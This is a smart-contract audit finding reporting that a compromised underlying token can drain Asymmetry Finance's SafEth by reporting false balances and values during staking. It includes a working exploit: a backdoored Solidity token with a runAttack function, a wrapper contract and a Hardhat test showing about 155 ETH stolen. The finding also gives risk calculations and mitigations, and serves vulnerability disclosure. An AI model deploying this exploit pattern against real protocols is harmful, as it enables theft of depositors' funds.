Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L91-L95

Vulnerability details

Summary

If an attacker can upgrade one of the underlying token contracts (by this I do not mean one of the contracts in contracts/SafEth/derivatives, but the underlying token contracts these contracts interact with) or otherwise manipulate them to report an inconsistent balance and/or value of the token, then the attacker will be able to drain all value from SafEth (not only the value held in the attacked token, but in the other tokens as well). This seems to break SafEth's value proposition for potential users (diversification of risk).

Detailed description

In the stake function of the SafEth contract, the amount of SafEth tokens minted for the caller is determined by first calculating the value of all of the holdings of underlying derivatives at the start:

uint256 underlyingValue = 0;
for (uint i = 0; i < derivativeCount; i++)
    underlyingValue +=
        (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
            derivatives[i].balance()) /
        10 ** 18;

and then the value of the newly obtained tokens:

int256 depositAmount = derivative.deposit{value: ethAmount}();
uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
    depositAmount
) * depositAmount) / 10 ** 18;
totalStakeValueEth += derivativeReceivedEthValue;

with the caller obtaining an amount of SafEth tokens that represents precisely the new value they added. How exactly ethPerDerivative is calculated is slightly different for the different derivatives but usually calls the underlying token contract or an associated contract for a value estimate (though for example the Reth one sometimes uses a Uniswap liquidity pool), but balance calls balanceOf of the underlying ERC20 token in all cases, and the value returned by deposit is mostly controllable by the external token contract or a closely related contact as well (expect the Reth one sometimes using a Uniswap liquidity pool).

If we assume that an attacker can upgrade one of the underlying token contracts (this does not mean one of the contracts that are part of this audit, but one of the external ones) by a malicious one (perhaps they obtained the necessary private key in a hack, or they are the actual owner doing a rug pull), then the attacker will thus be able to cause the stake function to estimate an artificially low value for the current holdings at the start (by reporting a low balance and/or low value per token), and to estimate an unrealistically large value for the new deposit (by reporting a large increase in balance and/or tokens being worth a huge amount). Note that the attacker will be able to report different values in different calls even from view functions by e.g. checking how much gas is left and reporting different values based on that. This will then cause stake to mint a very large amount of SafEth tokens to the caller (orders of magnitued more than the previous total supply), who then controls nearly all of the SafEth tokens and can drain essentially all the value from the SafEth contract.

Impact of the risk of this vulnerability being exploited for people staking into SafEth

Let us say we have three underlying derivatives with the same weight. Let us assume that the value of their tokens appreciates by a factor a each year (so e.g. 10% increase in value would mean a=1.1), and the probability that they get hacked/rug-pulled is p each year (e.g. p=0.1 if the chance is 10%). We assume that the chance of a hack/rug-pull is independent between the three derivatives. Now let us consider three scenarios of how we could invest 1 (ether).

A. We choose one of the derivatives and invest all our money in that one. B. We invest one third of our money in each of the derivatives. C. We invest all of our money into SafEth.

Let us now calculate the expected value of our investment after one year for each of these scenarios.

Scenario A: Only one derivative

This is easiest to calculate, the expected value is p*0 + (1-p)*a = (1-p)*a.

Scenario B: Each of the three derivatives.

We invest 1/3 in each of the three, and those investments have the value (1/3)*(1-p)*a, so together we obtain again (1-p)*a.

Scenario C: SafEth

We assume first that an attacker that hacks/rug-pulls one of the derivatives realizes the vulnerability under discussion and also sweeps all value held by SafEth in the other derivatives.

The probability that one of the derivatives stays safe is (1-p). As the probabilities were assumed to be independent, the probability of all three staying safe is thus (1-p)^3. The expected value after one year is thus (1-p)^3 * a.

For example, if p=0.05 for a 5% risk, with a=1.1 for a 10% appreciation in value per year, we would have an expected value of 1.045 after one year in the first two scenarios, and 0.9431125 in the scenario C, a significant difference, and here the expected value would have been higher not investing at all rather than in SafEth.

So far we assumed that the attacker will also find this vulnerability and is able to exploit it. It is of course true that many hacks of the derivatives may not obtain the level of control needed to exploit the vulnerability under discussion. To take this into account we can let q be the probability that an attacker draining all funds in one of the contracts also manages to exploit this vulnerability.

This is a bit more complicated to calculate. Let us consider the funds in each of the derivatives individually. The first factor to consider is that we started out with 1/3. Then the value appreciated by a factor of a. Next, everything is gone if this derivative got hacked/rug-pulled, so we need to multiply by (1-p). Finally, we need to, for both of the two remaining derivatives, multiply with the probability they do not get attacked and this vulnerability is also exploited. The probability for that is 1 - p*q. In the end we obtain as expected value of our total holdings in SafEth (1-p) * (1 - p*q) * (1 - p*q) * a.

If we again assume a=1.1, p=0.05, and perhaps q=0.1, then we get 1.034576125. So while in the other two scenarios the value appreciates by 4.5%, for SafEth it only does so by about 3.46%, a significant difference.

Note that as long as p and q are positive, the value of (1-p) * (1 - p*q) * (1 - p*q) will always be smaller than (1-p).

Impact

As explained above, under the assumptions made, the attacker will be able to steal essentially all funds. That the attacker needs to be able to upgrade (or exploit very powerful vulnerabilities in) one of the external token contracts interacted with is a big assumption. However, it seems this breaks the business proposition to that SafEth is built around, which seems to be intended for diversification of risk when staking ether. For example in the overview for the contest, Asymmetry Finance writes

The goal of SafEth is to help decentralize the liquid staked derivatives on the Ethereum blockchain. This is done by enabling and easy access to diversification of derivatives.

and in https://medium.com/@asymmetryfin/introducing-the-problem-aa4317513604

However, centralized custodianship of staked assets introduces centralization into the network and creates a single point of failure. If a centralized custodian, such as Lido, were to fail or be compromised, the underlying staked assets would be at risk, which could cause significant consequences to the entire Ethereum ecosystem, given the sheer size of the LSD market.

The previous section shows that if people considering to stake into SafEth are taking risks such that the underlying deriviatives "fail[ing] or be compromised" into account, then the expected value of their staking is decreased rather than increased by using SafEth rather than the derivatives directly, hence SafEth in its current form fails to provide the value it set out to.

For this reason I believe this should be classified as "high severity".

Proof of Concept

A proof of concept is provided. In the tested scenario, the attacker deploys a backdoored token. A contract interacting with it, based on contracts/SafEth/derivatives/WstEth.sol (and with no changes that make the attack easier, for example view functions are still view) is then deployed by the admin and added as a derivative for SafEth. The attacker then uses the backdoor to run an attack stealing essentially all value stored in SafEth.

It would be more realistic if a non-backdoored version were deployed first via an uprgradable proxy, and the attacker later replaces the implementation contract with the backdoored version, but the simplification done here does not impact how the attack could otherwise work at all.

Add/change the files as indicated below, then run

npx hardhat test --grep "ShalaamumAttackMaliciousDerivative"

The output at the end should look something like this:

  ShalaamumAttackMaliciousDerivative
    Scenario setup
      ✓ adminAccount should be owner of SafEth
      ✓ Staking a random amount 3 times for each of the users
          SafEth contract holds 48569438795695323299 of derivative 0
          SafEth holdings of derivative 0 are est. to be worth 51933 mETH
          SafEth contract holds 50381412398426639922 of derivative 1
          SafEth holdings of derivative 1 are est. to be worth 52015 mETH
          SafEth contract holds 46540406385934524536 of derivative 2
          SafEth holdings of derivative 2 are est. to be worth 51954 mETH
          SafEth total value estimated to be 155903 mETH
      ✓ Collecting information on SafETH's current holdings
      ✓ Attacker deploying their backdoored token
      ✓ Deploying the wrapper contract SafEth uses to interact with the attacker token
      ✓ Saving how many transactions admin and users have done
    Checking attacker account
          attacker is 0x961D06d275e4259840855539ae9C22598eF24A23
      ✓ Attacker should have a different account than admin
      ✓ Attacker should have a different account than users
      ✓ Attacker should have a balance of 1 ETH
      ✓ Attacker Token contract should have a balance of 0 ETH
      ✓ Attacker trying to call rebalanceToWeights should revert
      ✓ Attacker trying to unstake should revert
      ✓ Attacker should have a SafEth balance of 0
      ✓ Saving how many transactions attacker has done
    Attack
Beginning attack, staking my ether: 500000000000000000
Obtained SafEth for my stake: 11578604550129364891522222341323153015251024733030478509
Total supply of SafEth:       11578604550129364891522222341323153171146485211217543085
Unstaking my SafEth
Profit: 155 ETH
      ✓ Attack ran
      ✓ Attacker used a single transaction
          SafEth contract holds 99% less of derivative 0
          SafEth contract holds 99% less of derivative 1
          SafEth contract holds 99% less of derivative 2
          SafEth total value estimated to be 3 Wei
          This is down from 155903597234046314363 Wei
          So value is down 99%
      ✓ SafETH holds less now
          Attacker made a profit of 155408 mETH
      ✓ Attacker made profit

Explanation for how the attack works

The attack is carried out by the runAttack function, which stakes some ether in SafEth, and then unstakes again. The actual exploitation of the vulnerability comes from the balanceOf and getValueInEth functions behaving differently depending on two storage variables harmless and preDeposit. Usually harmless is true and the two functions return legitimate values, but harmless is set to false for the duration of the attack. preDeposit is initially set to true, but set to false in the receive function. Like this the two functions can exhibit different behavior in the determination of the value of SafEth's total holdings at the start of stake and in the determination of the value of the new stake later. The balance we report is 1 pre-deposit and 2 post-deposit, thereby ensuring that the factors derivatives[i].balance() and depositAmount will both be 1. The value getValueInEth reports is 0 pre-deposit, thereby making the value of SafEth's previous holdings the value of the other derivatives only. Post-deposit we report a very large value that does not cause an overflow, type(uint256).max / (10**4) (what to divide with was found empirically, this is necessary to avoid an overflow in the line in unstake where derivativeAmount gets calculated). This causes stake to issue us way more SafEth tokens then the previous total supply.

Files to add for the Proof of Concept

`contracts/ShalaamumMaliciousDerivative.sol`

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "hardhat/console.sol";

import "./SafEth/SafEth.sol";

contract ShalaamumMaliciousDerivative {
  mapping(address => uint256) private balances;
  address private attacker;
  bool harmless = true;
  bool preDeposit = true;

  constructor () {
    attacker = msg.sender;
  }

  function getValueInEth(uint256 amount) public view returns (uint256) {
    if(harmless) {
      return amount;
    }
    else {
      if(preDeposit) {
        return 0;
      }
      else {
        return type(uint256).max / (10**4);
      }
    }
  }

  function liquidate(uint256 amount, uint256 minimumOut) public {
    require(amount >= minimumOut, "You demand too much");
    require(balances[msg.sender] >= amount, "You do not have that much");
    require(amount >= address(this).balance, "We are broke");
    balances[msg.sender] -= amount;
    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
  }

  function balanceOf(address account) public view returns (uint256) {
    if(harmless) {
      return balances[account];
    }
    else {
      if(preDeposit) {
        return 1;
      }
      else {
        return 2;
      }
    }
  }

  receive() external payable {
    balances[msg.sender] += msg.value;
    preDeposit = false;
  }

  function runAttack(SafEth safEth) public payable {
    harmless = false;
    preDeposit = true;
    require(msg.sender == attacker);
    uint256 prevBalance = address(this).balance;
    console.log("Beginning attack, staking my ether: %s", prevBalance);
    safEth.stake{value: prevBalance}();
    uint256 safEthBalance = safEth.balanceOf(address(this));
    console.log("Obtained SafEth for my stake: %s", safEthBalance);
    uint256 safEthTotal = safEth.totalSupply();
    console.log("Total supply of SafEth:       %s", safEthTotal);
    harmless = true;
    console.log("Unstaking my SafEth");
    balances[address(safEth.derivatives(3))] = 0; // We do not want to pay
    safEth.unstake(safEth.balanceOf(address(this)));
    uint256 postBalance = address(this).balance;
    uint256 profit = postBalance - prevBalance;
    console.log("Profit: %s ETH", profit / (10**18));

    payable(address(attacker)).transfer(address(this).balance);
  }
}

`contracts/ShalaamumMaliciousDerivativeWrapper.sol`

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./interfaces/IDerivative.sol";

interface IShalaamumMaliciousDerivative {
  function getValueInEth(uint256 amount) external view returns (uint256);
  function liquidate(uint256 amount, uint256 minimumOut) external;
  function balanceOf(address account) external view returns (uint256);
}

// Based off of the WstEth contract by Asymmetry Finance
contract ShalaamumMaliciousDerivativeWrapper is IDerivative, Initializable, OwnableUpgradeable {
    uint256 public maxSlippage;
    IShalaamumMaliciousDerivative public derivative;

    function initialize(address _owner, IShalaamumMaliciousDerivative derivative_) external initializer  {
        derivative = derivative_;
        _transferOwnership(_owner);
        maxSlippage = (1 * 10 ** 16); // 1%
    }

    function name() public pure returns (string memory) {
        return "ShMaDe";
    }

    function setMaxSlippage(uint256 _slippage) external onlyOwner {
        maxSlippage = _slippage;
    }

    function withdraw(uint256 amount) external onlyOwner {
        uint256 minOut = (amount * (10 ** 18 - maxSlippage)) / 10 ** 18;
        derivative.liquidate(amount, minOut);
        // solhint-disable-next-line
        (bool sent, ) = address(msg.sender).call{value: address(this).balance}(
            ""
        );
        require(sent, "Failed to send Ether");
    }

    function deposit() external payable onlyOwner returns (uint256) {
        uint256 balancePre = derivative.balanceOf(address(this));
        // solhint-disable-next-line
        (bool sent, ) = address(derivative).call{value: msg.value}("");
        require(sent, "Failed to send Ether");
        uint256 balancePost = derivative.balanceOf(address(this));
        uint256 ethAmount = balancePost - balancePre;
        return (ethAmount);
    }

    function ethPerDerivative(uint256) public view returns (uint256) {
        return derivative.getValueInEth(10 ** 18);
    }

    function balance() public view returns (uint256) {
        return derivative.balanceOf(address(this));
    }

    receive() external payable {}
}

`test/ShalaamumAttackMaliciousDerivativeToken.test.ts`

import { network, ethers } from "hardhat";
import { expect } from "chai";
import { SafEth } from "../typechain-types";
import { BigNumber } from "ethers";
const { setBalance } = require("@nomicfoundation/hardhat-network-helpers");

import {
  initialUpgradeableDeploy,
  upgrade,
  getLatestContract,
} from "./helpers/upgradeHelpers";
import {
  getAdminAccount,
  getUserAccounts,
  getUserBalances,
  randomStakes,
  stakeMinimum,
  stakeMaximum
} from "./helpers/integrationHelpers";
import { derivativeAbi } from "./abi/derivativeAbi";

describe("ShalaamumAttackMaliciousDerivative", function () {
  let adminAccount: SignerWithAddress;
  let userAccounts: SignerWithAddress[];
  let attackerAccount: SignerWithAddress;
  let attackerBalanceInitial: BigNumber;
  let safEthProxy: SafEth;
  let logPrefix: String;
  let startingBalances: BigNumber[];
  let networkFeesPerAccount: BigNumber[];
  let totalStakedPerAccount: BigNumber[];
  let derivativeContracts;
  let safEthHoldingsStart;
  let safEthTotalValueStart;
  let derivativeCount;
  const attackerBalanceStart = 10n ** 18n;
  let adminTransactionsStart;
  let userTransactionsStart;
  let attackerTransactionsStart;
  let attackerToken;

  // Following function copied from the SafEth.test.ts file 
  const resetToBlock = async (blockNumber: number) => {
    await network.provider.request({
      method: "hardhat_reset",
      params: [
        {
          forking: {
            jsonRpcUrl: process.env.MAINNET_URL,
            blockNumber,
          },
        },
      ],
    });
  };

  before(async () => {
    // Fix a block to make the test deterministic.
    // This happened to be the latest block when I added the line, so it
    // was not chosen for special properties.
    await resetToBlock(16925534);
    adminAccount = await getAdminAccount();
    userAccounts = await getUserAccounts();
    attackerAccount = (await ethers.Wallet.createRandom()).connect(ethers.provider);

    safEthProxy = (await initialUpgradeableDeploy()) as SafEth;
    derivativeCount = await safEthProxy.derivativeCount();
    derivativeContracts = new Array();
    for (let i = 0; i < derivativeCount; i++) {
      const derivativeAddress = await safEthProxy.derivatives(i);

      derivativeContracts.push(new ethers.Contract(
        derivativeAddress,
        derivativeAbi,
        adminAccount
      ));
    }

    logPrefix = "          ";
    startingBalances = await getUserBalances();
    networkFeesPerAccount = startingBalances.map(() => BigNumber.from(0));
    totalStakedPerAccount = startingBalances.map(() => BigNumber.from(0));
  });

  describe("Scenario setup", function () {
    it("adminAccount should be owner of SafEth", async function () {
      const owner = await safEthProxy.owner();
      expect(owner).eq(adminAccount.address);
    });

    it("Staking a random amount 3 times for each of the users", async function () {
      await randomStakes(
        safEthProxy.address,
        networkFeesPerAccount,
        totalStakedPerAccount
      );
    });

    it("Collecting information on SafETH's current holdings", async function () {
      safEthHoldingsStart = new Array();
      safEthTotalValueStart = BigNumber.from(0);
      for (let i = 0; i < derivativeCount; i++) {
        const holding = await derivativeContracts[i].balance();
        console.log(`${logPrefix}SafEth contract holds ${holding} of derivative ${i}`);
        safEthHoldingsStart.push(holding);
        const value = (await derivativeContracts[i].ethPerDerivative(10n**18n)).mul(holding).div(10n**18n);
        console.log(`${logPrefix}SafEth holdings of derivative ${i} are est. to be worth ${value.div(10n**15n)} mETH`);
        safEthTotalValueStart = safEthTotalValueStart.add(value);
      }
      console.log(`${logPrefix}SafEth total value estimated to be ${safEthTotalValueStart.div(10n**15n)} mETH`);
    });

    it("Attacker deploying their backdoored token", async function () {
      setBalance(attackerAccount.address, attackerBalanceStart);
      attackerToken = await (await ethers.getContractFactory(
        "ShalaamumMaliciousDerivative", attackerAccount)).deploy();
    });

    it("Deploying the wrapper contract SafEth uses to interact with the attacker token", async function () {
      // This is taken directly from upgradeHelpers.ts 
      const derivativeFactory = await ethers.getContractFactory("ShalaamumMaliciousDerivativeWrapper");
      const derivative = await upgrades.deployProxy(derivativeFactory, [
        safEthProxy.address,
        attackerToken.address
      ]);
      await derivative.deployed();
      await safEthProxy.addDerivative(derivative.address, "1000000000000000000");
    });

    it("Saving how many transactions admin and users have done", async function () {
      adminTransactionsStart = (
        await ethers.provider.getTransactionCount(adminAccount.address)
      );
      userTransactionsStart = new Array();
      for(let i = 0; i < userAccounts.length; i++) {
        userTransactionsStart.push(
          await ethers.provider.getTransactionCount(userAccounts[i].address)
        );
      }
    });
  });

  describe("Checking attacker account", function () {
    it("Attacker should have a different account than admin", async function () {
      console.log(`${logPrefix}attacker is ${attackerAccount.address}`);
      expect(adminAccount.address).not.eq(attackerAccount.address);
      attackerBalanceInitial = (await ethers.provider.getBalance(attackerAccount.address));
    });

    it("Attacker should have a different account than users", async function () {
      for(let i = 0; i < userAccounts.length; i++) {
        expect(userAccounts[i].address).not.eq(attackerAccount.address);
      }
    });

    it("Attacker should have a balance of 1 ETH", async function () {
      setBalance(attackerAccount.address, attackerBalanceStart);
      expect(await ethers.provider.getBalance(attackerAccount.address)).eq(attackerBalanceStart);
    });

    it("Attacker Token contract should have a balance of 0 ETH", async function () {
      expect(await ethers.provider.getBalance(attackerToken.address)).eq(0);
    });

    it("Attacker trying to call rebalanceToWeights should revert", async function () {
      await expect(safEthProxy.connect(attackerAccount).rebalanceToWeights(
      )).to.be.revertedWith("Ownable: caller is not the owner");
    });

    it("Attacker trying to unstake should revert", async function () {
      await expect(safEthProxy.connect(attackerAccount).unstake(
        1
      )).to.be.revertedWith("ERC20: burn amount exceeds balance");
    });

    it("Attacker should have a SafEth balance of 0", async function () {
      expect(await safEthProxy.connect(attackerAccount).balanceOf(attackerAccount.address)).eq(0);
    });

    it("Saving how many transactions attacker has done", async function () {
      attackerTransactionsStart = (
        await ethers.provider.getTransactionCount(attackerAccount.address)
      );
    });

  });

  describe("Attack", async function () {
    it("Attack ran", async function() {
      await attackerToken.connect(attackerAccount).runAttack(
        safEthProxy.address,
        {gasLimit: 30n*(10n**6n), value: 5n*10n**17n}
      );
    });

   it("Attacker used a single transaction", async function () {
      expect(
        await ethers.provider.getTransactionCount(adminAccount.address)
      ).eq(adminTransactionsStart);
      for(let i = 0; i < userAccounts.length; i++) {
        expect(
          await ethers.provider.getTransactionCount(userAccounts[i].address)
        ).eq(userTransactionsStart[i]);
      }
      expect(
        await ethers.provider.getTransactionCount(attackerAccount.address)
      ).eq(attackerTransactionsStart + 1);
    });

    it("SafETH holds less now", async function () {
      let safEthHoldingsEnd = new Array();
      let safEthTotalValueEnd = BigNumber.from(0);
      for (let i = 0; i < derivativeCount; i++) {
        const holding = await derivativeContracts[i].balance();
        safEthHoldingsEnd.push(holding);
        let percentLost = safEthHoldingsStart[i].sub(safEthHoldingsEnd[i]).mul(100).div(safEthHoldingsStart[i]);
        console.log(`${logPrefix}SafEth contract holds ${percentLost}% less of derivative ${i}`);
        let value = (await derivativeContracts[i].ethPerDerivative(10n**18n)).mul(holding).div(10n**18n);
        safEthTotalValueEnd = safEthTotalValueEnd.add(value);
      }
      console.log(`${logPrefix}SafEth total value estimated to be ${safEthTotalValueEnd.div(10n**0n)} Wei`);
      console.log(`${logPrefix}This is down from ${safEthTotalValueStart.div(10n**0n)} Wei`);
      let percentLost = safEthTotalValueStart.sub(safEthTotalValueEnd).mul(100).div(safEthTotalValueStart);
      console.log(`${logPrefix}So value is down ${percentLost}%`);
      expect(percentLost).gt(0);
    });

    it("Attacker made profit", async function () {
      let balanceAttacker = await ethers.provider.getBalance(attackerAccount.address);
      expect(balanceAttacker).gt(attackerBalanceStart);
      let profitEth = balanceAttacker.sub(attackerBalanceStart).div(10n**15n);
      console.log(`${logPrefix}Attacker made a profit of ${profitEth} mETH`);
    });
  });
});

Mitigation

Unfortunately mitigation seems difficult without fundamental changes to the way the contract operates.

An underlying assumption of this system is that the value of the underlying derivatives will change over time, and in a manner not fully predictable, so it is necessary to get price information from somewhere. There are two options for this, get it from the underlying derivative, or from a trusted third party (for example the owners of the SafEth contract updating the price for each derivative once per day).

Certainly then the same ethPerDerivative value needs to be used in both places in stake. If we get the value from the potentially malicious attacker this is necessary to prevent the attack, and we should fetch the value only once at the start and then using that both for the initial total underlying value and the received eth value for the newly deposited ether. If the value comes from a trusted source we can still assume it does not change between the two spots, as there is no realistic sensible way for external trusted sources to observe something that makes them change the price within the single transaction the attacker is running (at least in a way that fixes our problems, if the external source relies on information from the attackers malicious contract, then the value might change but this only helps the attacker).

However, this does not fix the problem; the underlying derivative can still report a too high increase in tokens issued for the new deposit. One way one can try to limit excessive then would be to add something like

derivativeReceivedEthValue = derivativeReceivedEthValue > ethAmount ? ethAmount : derivativeReceivedEthValue;

after the line that calculates derivativeReceivedEthValue, so that the value estimated based on the increase in token balance reported by the potentially malicious token contract can not exceed the value we deposited.

This still does not fix the problem though, as long as the distribution of value among the different derivatives has deviated from the distribution given by the weights in such a way that when determining the initial value of the current holdings of SafEth, the weight of holdings in the malicious token is lower than it should.

The attacker can arrange this by reporting a low balance (such as 0) initially. But even trying to fix this by making SafEth track the balance in the derivatives itself does not work, the attacker can just deposit a lot into SafEth first, and reporting no new tokens being created in the malicious derivative, thereby reducing it's weight in the value distribution. As a side note, note that this is possible because (with the exception of Reth when using Uniswap) the max slippage value is not enforced in any of the SafEth contracts. However, even if it were enforced this would still work, the attacker would just have the malicious token contract report the minimum amount of tokens minted that pass the max slippage test, and the weights will still deviate as long as the other derivatives do not have maximum slippage (might require a large upfront investment though).

Here is an example: There are currently s SafEth tokens, and the balance in the (say two) non-attacker derivatives is also s, while (perhaps by depositing a lot as discussed in the previous paragraph) the balance in the attacker derivative is only s/2. Let us assume the weights set in the SafEth contract is the same for each of the derivatives. Now let us assume the value of each of the tokens is 1 ETH. The attacker now stakes 3 ETH.

Then underlyingValue will be 1ETH * s + 1ETH * s + 1ETH * s/2 = 2.5ETH * s. Thus, preDepositPrice will be 2.5 ETH.

SafEth will buy one token each of the non-attacker tokens, worth 2 ETH together. Now the attacker arranges that also one attacker token is issued for a 1 ETH deposit (previously less was issued when working on unbalancing the distribution). Thus the total value is 3 ETH and the attacker will obtain 3/2.5 SafEth = 1.2 SafEth. Note that the attacker can immediately recover the 1 ETH that was sent to the attack contract, so really only payed 2 ETH. Now the attacker unstakes. Here the attacker contract will not pay out anything, but from each of the other two tokens 1.2 ETH is obtained, leading to 2.4ETH being payed out in total, a profit of 0.4 ETH with an upfront investment of 3 ETH, so a profit of over 10%. Doing this multiple times in a row and with larger amounts permits clearing (nearly) all value held by SafEth.

Note that the above scenario works for the attacker even if the price of their token is taken from a trusted external source they can't control and even if SafEth tracks its balance in the tokens itself, the only thing needed was controlling how many tokens are issued for a deposit. But as the value of the tokens is dynamic, there does not seem to be a way to precisely predict this without asking the potentially malicious token contract about how much it issued.

Thus it seems more fundamental changes are needed. For example not automatically buying the underlying derivatives in stake, but just keeping the new funds as ether. Then buying the derivatives is done once per e.g. day or week similar to rebalanceToWeights, but where the total value the derivatives held is also set until the next rebalance, and it is based on this value that the amount of SafEth minted in stake will be determined. The call to this variant of rebalanceToWeights could also include ranges against which the amount of tokens issued and the value they have are checked, which the admin will precompute off-chain.

Comment on similarities with the Reth price estimate bifurcation vulnerability

The underlying problem of both this report and the other one I sent in about rETH price estimate bifurcation is at its most abstract that the amount of SafEth issued in stake depends on manipulable estimates of the balance and value of underlying derivatives. What is discussed in the mitigation section here would also fix the rETH price bifurcation vulnerability, so this is perhaps in some sense the more generic vulnerability. However the assumptions necessary for the two attacks (here the attacker needs to be able to update one of the underlying derivative contracts and the harm comes perhaps mostly from people not wanting to stake in SafEth due to the risk, in the other vulnerability rETH needs to become withdrawable or RocketDAO needs to increase the maximum pool size, but the attacker can be anyone) mean that the other attack is perhaps the one with much more plausible assumptions that can be carried out more generically. Because of these differences I consider these different vulnerabilities and decided to report them in two separate reports.

code-423n4 / 2023-03-asymmetry-findings

Attacker with sufficient control over the contract of an underlying derivative can steal all funds held by SafEth (also those held in the other derivatives) #879